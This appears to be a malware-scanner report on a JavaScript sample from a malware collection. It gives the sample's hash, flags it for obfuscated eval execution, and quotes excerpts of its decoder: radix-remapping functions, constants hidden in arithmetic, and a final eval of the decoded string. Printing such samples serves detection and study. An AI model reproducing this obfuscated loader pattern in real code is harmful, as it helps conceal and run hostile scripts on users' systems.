Suspicious ^80% javascript-malware-collection Download

20151211_dd1c13cbf19a8669e02d0b7c2d4ade20.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256215f078ff64267a47651e212315919a98c01143620a1a5bde231af7278e74111

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function yVHWh(HtCZSfdtCym,qvwQFJeytQoxl,uMpuuVjb){KBBy=parseInt(HtCZSfdtCym,qvwQFJeytQoxl);utmEw=KBBy.toString(uMpuuVjb);return utmEw;}function oyTJYFPnvqdzjiy(TcgUndIdhXDfQEOzA){eval(TcgUndIdhXDfQEOzA)}
3function UISSaNXmMyleMEQBsQBzjnLNjBZnFvIYaCiynDGhoYcwPfTfRTesIg(gafzlLPNSGfhX,AHyWjPTOeazghx){ return UxNfx[yVHWh(gafzlLPNSGfhX[AHyWjPTOeazghx],(15200+298)/738,(66+584)/65)];}
4function iWAugOp(ovUWWHOBISPOKfDLkOtrcidLLSbKPZkkCQtQ) {return !isNaN(parseFloat(ovUWWHOBISPOKfDLkOtrcidLLSbKPZkkCQtQ)) && isFinite(ovUWWHOBISPOKfDLkOtrcidLLSbKPZkkCQtQ);}
5function KKGJsXrpfDh(MpsBFcuH,CWROOw){return MpsBFcuH.split(CWROOw)}
6var t=new Array("d","a","d","a","5d","4d","59","1b","4e","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  KFLoV=[t,C];
9var dNmhcqjnh=[];
10function AYPrbGkIsAeTqTldp(KFLoV){ggZCobRuaSA= '';DyASWHJCmNP=(-62+62)/678; while(true){if(DyASWHJCmNP >= (643+993)/818)break;dNmhcqjnh[DyASWHJCmNP]=(-538+538)/52; while(true) { if(dNmhcqjnh[DyASWHJCmNP] > KFLoV[DyASWHJCmNP].length-(-595+605)/10) { break; } if (iWAugOp(yVHWh(KFLoV[DyASWHJCmNP][dNmhcqjnh[DyASWHJCmNP]],(11837+28)/565,(-508+898)/39))) {ggZCobRuaSA += UISSaNXmMyleMEQBsQBzjnLNjBZnFvIYaCiynDGhoYcwPfTfRTesIg([KFLoV[DyASWHJCmNP][dNmhcqjnh[DyASWHJCmNP]]], (-509+509)/625);} dNmhcqjnh[DyASWHJCmNP]++;}DyASWHJCmNP++;} return ggZCobRuaSA}
11oyTJYFPnvqdzjiy(AYPrbGkIsAeTqTldp(KFLoV));